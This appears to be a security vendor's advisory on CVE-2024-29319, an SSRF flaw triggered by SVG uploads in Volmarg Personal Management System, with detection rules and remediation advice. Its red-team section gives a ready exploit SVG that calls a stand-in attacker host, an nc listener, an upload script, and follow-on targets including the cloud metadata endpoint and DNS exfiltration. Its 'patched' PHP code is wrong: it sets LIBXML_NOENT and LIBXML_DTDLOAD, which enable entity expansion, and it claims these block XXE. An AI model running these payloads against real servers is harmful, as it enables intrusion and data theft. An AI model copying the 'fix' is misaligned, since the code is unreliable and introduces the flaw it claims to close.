CVE-2024-29319

Executive Summary

CVE-2024-29319 is a Server-Side Request Forgery (SSRF) vulnerability discovered in Volmarg Personal Management System version 1.4.64. The flaw allows an attacker to upload a malicious SVG file, which when processed by the server, triggers unintended HTTP and DNS requests to attacker-controlled infrastructure. This can lead to internal network reconnaissance, port scanning, and potential data exfiltration. The vulnerability is publicly known with proof-of-concept code available, but no official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - Victim must upload the malicious SVG
• Scope: Changed (S:C) - Impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) - Limited information disclosure
• Integrity Impact: Low (I:L) - Limited ability to modify resources
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the SSRF nature can be chained with other vulnerabilities for more severe impact, especially in internal network contexts.

Deep Dive & Mechanics

The vulnerability resides in the SVG file upload functionality of Volmarg Personal Management System 1.4.64. The application fails to properly sanitize or validate SVG files during upload. SVG (Scalable Vector Graphics) files can contain embedded XML elements, including external entity references and scripting capabilities.

An attacker crafts an SVG file containing an <image> or <use> element with an xlink:href attribute pointing to an attacker-controlled server or internal resource. When the server processes the SVG (e.g., for thumbnail generation or rendering), it follows the external reference, making an HTTP or DNS request to the specified URL.

Attack Flow:

1. Attacker creates a malicious SVG file with an embedded external reference.
2. Attacker uploads the SVG file to the vulnerable application.
3. The application processes the SVG, triggering an outbound request to the attacker's server.
4. The attacker captures the request, confirming the SSRF.
5. The attacker can then use this to scan internal networks, access cloud metadata endpoints (e.g., AWS 169.254.169.254), or perform other internal reconnaissance.

Root Cause: Lack of input validation and sanitization for SVG file contents, specifically failure to disable external entity resolution and external resource loading.

Vulnerable vs. Patched Code

Vulnerable Code (1.4.64): The application likely uses a PHP library like SimpleXML or DOMDocument to parse SVG files without disabling external entities.

// Vulnerable example
$svg = simplexml_load_file($uploadedFile);
// No LIBXML_NOENT or LIBXML_DTDLOAD flags set to prevent XXE/SSRF

Patched Code (Hypothetical): A patched version would disable external entity loading and validate SVG content.

// Patched example
$svg = simplexml_load_file($uploadedFile, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD);
// Or use a safer parsing method
$dom = new DOMDocument();
$dom->load($uploadedFile, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NONET);

Additionally, the application should validate that uploaded files are legitimate SVGs by checking the MIME type and parsing only safe elements.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with requests library
• A publicly accessible server to receive callbacks (e.g., using nc or python -m http.server)
• Volmarg Personal Management System 1.4.64 running

Step 1: Create Malicious SVG Create a file named exploit.svg with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://attacker-controlled-server.com/ssrf-test">
]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
  <image xlink:href="http://attacker-controlled-server.com/ssrf-test" width="100" height="100"/>
</svg>

Step 2: Start Listener on Attacker Server

nc -lvnp 80

Step 3: Upload Malicious SVG Use a script or browser to upload the SVG file to the vulnerable application's file upload endpoint.

import requests

url = "http://target-vulnerable-app.com/upload"
files = {'file': ('exploit.svg', open('exploit.svg', 'rb'), 'image/svg+xml')}
response = requests.post(url, files=files)
print(response.text)

Step 4: Verify SSRF Check your listener for incoming requests. If successful, you will see the HTTP request from the target server.

Advanced Exploitation:

• Scan internal network: http://192.168.1.1:8080
• Access cloud metadata: http://169.254.169.254/latest/meta-data/
• Use DNS exfiltration: http://data.attacker-controlled-dns-server.com

Blue Team

Detection Steps:

1. Monitor for unusual outbound HTTP/DNS requests from the application server.
2. Inspect uploaded SVG files for external references.
3. Check application logs for file upload events and subsequent outbound connections.

Mitigation Steps:

1. Disable external entity loading in XML parsers.
2. Implement strict file type validation (MIME type, magic bytes).
3. Use a sandboxed environment for processing uploaded files.
4. Restrict outbound network access from the application server.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown external IPs/domains from the application server
• DNS queries to suspicious domains from the application server
• Connections to internal IP addresses (e.g., 10.x.x.x, 192.168.x.x, 169.254.x.x) from the application

File IOCs:

• SVG files containing xlink:href attributes pointing to external URLs
• SVG files with <!ENTITY declarations referencing external systems
• SVG files with unusual size or structure

System IOCs:

• Unusual processes spawned by the web server (e.g., curl, wget)
• Temporary files in upload directories with .svg extension

Detection Engineering

YARA Rule

rule Detect_Malicious_SVG_SSRF {
    meta:
        description = "Detects SVG files with external references indicative of SSRF exploitation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29319"
    strings:
        $xlink = /xlink:href\s*=\s*["']https?:\/\// nocase
        $entity = /<!ENTITY\s+\w+\s+SYSTEM\s+["']https?:\/\// nocase
        $image = /<image\s+.*xlink:href\s*=\s*["']https?:\/\// nocase
    condition:
        any of them
}

Sigma Rule

title: SSRF via Malicious SVG Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects outbound HTTP requests from application server after SVG file upload
author: Valters IT
date: 2024-01-01
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith: '\httpd.exe'  # Adjust for your web server
        DestinationPort: 80
        DestinationIp:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '169.254.0.0/16'
    condition: selection
falsepositives:
    - Legitimate internal API calls
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-29319 SSRF via SVG Upload"; flow:to_server,established; content:"POST"; http_method; content:"multipart/form-data"; http_header; content:".svg"; file.name; pcre:"/xlink:href\s*=\s*["']https?:\/\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG Upload: Temporarily disable the SVG file upload functionality until a patch is available.
2. Input Validation: Implement strict validation for uploaded SVG files, including:
   • MIME type checking
   • Magic byte verification
   • XML parsing with external entity loading disabled
3. Network Segmentation: Restrict outbound network access from the application server to only necessary services.
4. Web Application Firewall (WAF): Deploy WAF rules to block malicious SVG uploads containing external references.

Long-term Fix:

• Apply vendor patch when available.
• Upgrade to a patched version of Volmarg Personal Management System.
• Implement a file upload security policy that includes:
  • File type whitelisting
  • Content scanning
  • Sandboxed processing

Workaround:

• Use a proxy or reverse proxy to inspect and sanitize uploaded files before they reach the application.

Report generated by Valters IT DevSecOps & CTI Division. For questions, contact security@valters-it.com.